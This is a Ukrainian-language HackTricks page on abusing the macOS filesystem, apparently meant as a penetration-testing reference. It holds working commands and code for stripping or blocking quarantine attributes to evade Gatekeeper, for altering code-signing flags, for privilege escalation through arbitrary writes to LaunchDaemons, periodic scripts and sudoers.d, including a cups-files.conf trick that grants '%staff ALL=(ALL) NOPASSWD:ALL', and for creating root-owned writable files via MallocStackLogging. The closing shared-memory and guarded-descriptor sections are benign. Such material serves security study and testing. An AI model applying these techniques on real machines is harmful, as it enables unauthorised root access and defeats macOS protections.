macOS FS Tricks

Reading time: 13 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Комбінації прав POSIX

Права в каталозі:

  • читання - ви можете перерахувати записи каталогу
  • запис - ви можете видаляти/записувати файли в каталозі і ви можете видаляти порожні папки.
  • Але ви не можете видаляти/модифікувати непорожні папки, якщо у вас немає прав на запис.
  • Ви не можете змінювати назву папки, якщо ви не є її власником.
  • виконання - вам дозволено проходити через каталог - якщо у вас немає цього права, ви не можете отримати доступ до жодних файлів всередині, або в будь-яких підкаталогах.

Небезпечні комбінації

Як перезаписати файл/папку, що належить root, але:

  • Один з батьківських власників каталогу в шляху - це користувач
  • Один з батьківських власників каталогу в шляху - це група користувачів з доступом на запис
  • Група користувачів має доступ на запис до файлу

З будь-якою з попередніх комбінацій, зловмисник може впровадити символічне/жорстке посилання на очікуваний шлях, щоб отримати привілейований довільний запис.

Спеціальний випадок папки root R+X

Якщо в каталозі є файли, до яких тільки root має доступ R+X, вони не доступні нікому іншому. Тому вразливість, що дозволяє перемістити файл, доступний для користувача, який не може бути прочитаний через це обмеження, з цієї папки в іншу, може бути використана для читання цих файлів.

Приклад у: https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions

Символічне посилання / Жорстке посилання

Дозволений файл/папка

Якщо привілейований процес записує дані у файл, який може бути контрольований менш привілейованим користувачем, або який може бути раніше створений менш привілейованим користувачем. Користувач може просто вказати його на інший файл через символічне або жорстке посилання, і привілейований процес запише в цей файл.

Перевірте в інших розділах, де зловмисник може зловживати довільним записом для ескалації привілеїв.

Відкритий O_NOFOLLOW

Флаг O_NOFOLLOW, коли використовується функцією open, не буде слідувати за символічним посиланням в останньому компоненті шляху, але буде слідувати за рештою шляху. Правильний спосіб запобігти слідуванню за символічними посиланнями в шляху - це використання флага O_NOFOLLOW_ANY.

.fileloc

Файли з розширенням .fileloc можуть вказувати на інші програми або бінарники, тому коли вони відкриваються, програма/бінарник буде виконана.
Приклад:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>URL</key>
<string>file:///System/Applications/Calculator.app</string>
<key>URLPrefix</key>
<integer>0</integer>
</dict>
</plist>

Файлові дескриптори

Витік FD (без O_CLOEXEC)

Якщо виклик open не має прапора O_CLOEXEC, файловий дескриптор буде успадкований дочірнім процесом. Отже, якщо привілейований процес відкриває привілейований файл і виконує процес, контрольований зловмисником, зловмисник успадкує FD над привілейованим файлом.

Якщо ви можете змусити процес відкрити файл або папку з високими привілеями, ви можете зловживати crontab, щоб відкрити файл у /etc/sudoers.d з EDITOR=exploit.py, так що exploit.py отримає FD до файлу всередині /etc/sudoers і зловживає ним.

Наприклад: https://youtu.be/f1HA5QhLQ7Y?t=21098, код: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging

Уникайте трюків з xattrs карантину

Видалити це

bash
xattr -d com.apple.quarantine /path/to/file_or_app

uchg / uchange / uimmutable flag

Якщо файл/папка має цей атрибут незмінності, не буде можливим встановити xattr на нього.

bash
echo asd > /tmp/asd
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
xattr -w com.apple.quarantine "" /tmp/asd
xattr: [Errno 1] Operation not permitted: '/tmp/asd'

ls -lO /tmp/asd
# check the "uchg" in the output

defvfs mount

Монтування devfs не підтримує xattr, більше інформації в CVE-2023-32364

bash
mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
chmod 777 /tmp/mnt
mkdir /tmp/mnt/lol
xattr -w com.apple.quarantine "" /tmp/mnt/lol
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'

writeextattr ACL

Цей ACL запобігає додаванню xattrs до файлу

bash
rm -rf /tmp/test*
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
ls -le /tmp/test
ditto -c -k test test.zip
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr

cd /tmp
echo y | rm test

# Decompress it with ditto
ditto -x -k --rsrc test.zip .
ls -le /tmp/test

# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)
open test.zip
sleep 1
ls -le /tmp/test

com.apple.acl.text xattr + AppleDouble

AppleDouble формат файлу копіює файл разом з його ACE.

У джерельному коді можна побачити, що текстове представлення ACL, яке зберігається всередині xattr під назвою com.apple.acl.text, буде встановлено як ACL у розпакованому файлі. Отже, якщо ви стиснули додаток у zip-файл з форматом файлу AppleDouble з ACL, який заважає запису інших xattrs... xattr карантину не було встановлено в додатку:

Перевірте оригінальний звіт для отримання додаткової інформації.

Щоб це відтворити, спочатку потрібно отримати правильний рядок acl:

bash
# Everything will be happening here
mkdir /tmp/temp_xattrs
cd /tmp/temp_xattrs

# Create a folder and a file with the acls and xattr
mkdir del
mkdir del/test_fold
echo test > del/test_fold/test_file
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold/test_file
ditto -c -k del test.zip

# uncomporess to get it back
ditto -x -k --rsrc test.zip .
ls -le test

(Зверніть увагу, що навіть якщо це працює, пісочниця записує атрибут карантину xattr перед цим)

Не зовсім необхідно, але я залишаю це на випадок:

macOS xattr-acls extra stuff

Обхід перевірок підпису

Обхід перевірок платформних бінарних файлів

Деякі перевірки безпеки перевіряють, чи є бінарний файл платформним бінарним файлом, наприклад, щоб дозволити підключення до служби XPC. Однак, як було показано в обході на https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/, можливо обійти цю перевірку, отримавши платформний бінарний файл (такий як /bin/ls) і впровадивши експлойт через dyld, використовуючи змінну середовища DYLD_INSERT_LIBRARIES.

Обхід прапорців CS_REQUIRE_LV та CS_FORCED_LV

Можливо, щоб виконуваний бінарний файл змінив свої власні прапорці для обходу перевірок за допомогою коду, такого як:

c
// Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/
int pid = getpid();
NSString *exePath = NSProcessInfo.processInfo.arguments[0];

uint32_t status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
status |= 0x2000; // CS_REQUIRE_LV
csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS

status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status);

Bypass Code Signatures

Bundles містять файл _CodeSignature/CodeResources, який містить хеш кожного окремого файлу в пакеті. Зверніть увагу, що хеш CodeResources також вбудований в виконуваний файл, тому ми не можемо з цим нічого зробити.

Однак є деякі файли, підпис яких не буде перевірятися, ці файли мають ключ omit у plist, такі як:

xml
<dict>
...
<key>rules</key>
<dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>
<key>rules2</key>
...
<key>^(.*/index.html)?\.DS_Store$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>2000</real>
</dict>
...
<key>^PkgInfo$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>20</real>
</dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>

Можна обчислити підпис ресурсу з командного рядка за допомогою:

bash
openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64

Mount dmgs

Користувач може змонтувати користувацький dmg, створений навіть поверх деяких існуючих папок. Ось як ви можете створити користувацький dmg пакет з користувацьким вмістом:

bash
# Create the volume
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
mkdir /private/tmp/mnt

# Mount it
hdiutil attach -mountpoint /private/tmp/mnt /private/tmp/tmp.dmg 1>/dev/null

# Add custom content to the volume
mkdir /private/tmp/mnt/custom_folder
echo "hello" > /private/tmp/mnt/custom_folder/custom_file

# Detach it
hdiutil detach /private/tmp/mnt 1>/dev/null

# Next time you mount it, it will have the custom content you wrote

# You can also create a dmg from an app using:
hdiutil create -srcfolder justsome.app justsome.dmg

Зазвичай macOS монтує диск, спілкуючись з Mach-сервісом com.apple.DiskArbitrarion.diskarbitrariond (який надається /usr/libexec/diskarbitrationd). Якщо додати параметр -d до файлу plist LaunchDaemons і перезапустити, він зберігатиме журнали в /var/log/diskarbitrationd.log.
Однак можливо використовувати інструменти, такі як hdik і hdiutil, для безпосереднього спілкування з kext com.apple.driver.DiskImages.

Произвольні записи

Періодичні sh скрипти

Якщо ваш скрипт може бути інтерпретований як shell script, ви можете перезаписати /etc/periodic/daily/999.local shell-скрипт, який буде запускатися щодня.

Ви можете підробити виконання цього скрипта за допомогою: sudo periodic daily

Демони

Напишіть довільний LaunchDaemon на кшталт /Library/LaunchDaemons/xyz.hacktricks.privesc.plist з plist, що виконує довільний скрипт, наприклад:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.sample.Load</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Scripts/privesc.sh</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>

Просто створіть скрипт /Applications/Scripts/privesc.sh з командами, які ви хочете виконати як root.

Файл Sudoers

Якщо у вас є довільний запис, ви можете створити файл у папці /etc/sudoers.d/, надаючи собі sudo привілеї.

Файли PATH

Файл /etc/paths є одним з основних місць, які заповнюють змінну середовища PATH. Ви повинні бути root, щоб перезаписати його, але якщо скрипт з привілейованого процесу виконує якусь команду без повного шляху, ви можете перехопити її, змінивши цей файл.

Ви також можете записувати файли в /etc/paths.d, щоб завантажити нові папки в змінну середовища PATH.

cups-files.conf

Цю техніку було використано в цьому звіті.

Створіть файл /etc/cups/cups-files.conf з наступним вмістом:

ErrorLog /etc/sudoers.d/lpe
LogFilePerm 777
<some junk>

Це створить файл /etc/sudoers.d/lpe з правами 777. Додатковий сміття в кінці потрібно для створення журналу помилок.

Потім запишіть у /etc/sudoers.d/lpe необхідну конфігурацію для підвищення привілеїв, наприклад, %staff ALL=(ALL) NOPASSWD:ALL.

Потім знову змініть файл /etc/cups/cups-files.conf, вказавши LogFilePerm 700, щоб новий файл sudoers став дійсним, викликавши cupsctl.

Втеча з пісочниці

Можливо втекти з пісочниці macOS за допомогою FS довільного запису. Для деяких прикладів перевірте сторінку macOS Auto Start, але поширеним є запис файлу налаштувань Terminal у ~/Library/Preferences/com.apple.Terminal.plist, який виконує команду при запуску, і викликати його за допомогою open.

Генерація записуваних файлів як інші користувачі

Це створить файл, що належить root, який можна записувати мною (код звідси). Це також може працювати як privesc:

bash
DIRNAME=/usr/local/etc/periodic/daily

mkdir -p "$DIRNAME"
chmod +a "$(whoami) allow read,write,append,execute,readattr,writeattr,readextattr,writeextattr,chown,delete,writesecurity,readsecurity,list,search,add_file,add_subdirectory,delete_child,file_inherit,directory_inherit," "$DIRNAME"

MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDontDeleteStackLogFile=1 top invalidparametername

FILENAME=$(ls "$DIRNAME")
echo $FILENAME

POSIX Shared Memory

POSIX спільна пам'ять дозволяє процесам в операційних системах, що відповідають стандарту POSIX, отримувати доступ до спільної області пам'яті, що сприяє швидшій комунікації в порівнянні з іншими методами міжпроцесної комунікації. Це передбачає створення або відкриття об'єкта спільної пам'яті за допомогою shm_open(), встановлення його розміру за допомогою ftruncate(), і відображення його в адресному просторі процесу за допомогою mmap(). Процеси можуть безпосередньо читати з цієї області пам'яті та записувати в неї. Для управління одночасним доступом і запобігання пошкодженню даних часто використовуються механізми синхронізації, такі як м'ютекси або семафори. Нарешті, процеси знімають відображення та закривають спільну пам'ять за допомогою munmap() та close(), а за бажанням видаляють об'єкт пам'яті за допомогою shm_unlink(). Ця система особливо ефективна для швидкої та ефективної IPC в середовищах, де кілька процесів повинні швидко отримувати доступ до спільних даних.

Приклад коду виробника
c
// gcc producer.c -o producer -lrt
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
const char *name = "/my_shared_memory";
const int SIZE = 4096; // Size of the shared memory object

// Create the shared memory object
int shm_fd = shm_open(name, O_CREAT | O_RDWR, 0666);
if (shm_fd == -1) {
perror("shm_open");
return EXIT_FAILURE;
}

// Configure the size of the shared memory object
if (ftruncate(shm_fd, SIZE) == -1) {
perror("ftruncate");
return EXIT_FAILURE;
}

// Memory map the shared memory
void *ptr = mmap(0, SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, shm_fd, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
return EXIT_FAILURE;
}

// Write to the shared memory
sprintf(ptr, "Hello from Producer!");

// Unmap and close, but do not unlink
munmap(ptr, SIZE);
close(shm_fd);

return 0;
}
Приклад коду споживача
c
// gcc consumer.c -o consumer -lrt
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
const char *name = "/my_shared_memory";
const int SIZE = 4096; // Size of the shared memory object

// Open the shared memory object
int shm_fd = shm_open(name, O_RDONLY, 0666);
if (shm_fd == -1) {
perror("shm_open");
return EXIT_FAILURE;
}

// Memory map the shared memory
void *ptr = mmap(0, SIZE, PROT_READ, MAP_SHARED, shm_fd, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
return EXIT_FAILURE;
}

// Read from the shared memory
printf("Consumer received: %s\n", (char *)ptr);

// Cleanup
munmap(ptr, SIZE);
close(shm_fd);
shm_unlink(name); // Optionally unlink

return 0;
}

macOS Захищені дескриптори

macOS захищені дескриптори - це функція безпеки, введена в macOS для підвищення безпеки та надійності операцій з дескрипторами файлів у користувацьких додатках. Ці захищені дескриптори забезпечують спосіб асоціювання специфічних обмежень або "захисників" з дескрипторами файлів, які забезпечуються ядром.

Ця функція особливо корисна для запобігання певним класам вразливостей безпеки, таким як несанкціонований доступ до файлів або умови гонки. Ці вразливості виникають, коли, наприклад, один потік отримує доступ до опису файлу, надаючи іншому вразливому потоку доступ до нього або коли дескриптор файлу успадковується вразливим дочірнім процесом. Деякі функції, пов'язані з цією функціональністю, включають:

  • guarded_open_np: Відкриває FD з захисником
  • guarded_close_np: Закриває його
  • change_fdguard_np: Змінює прапори захисника на дескрипторі (навіть видаляючи захист)

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks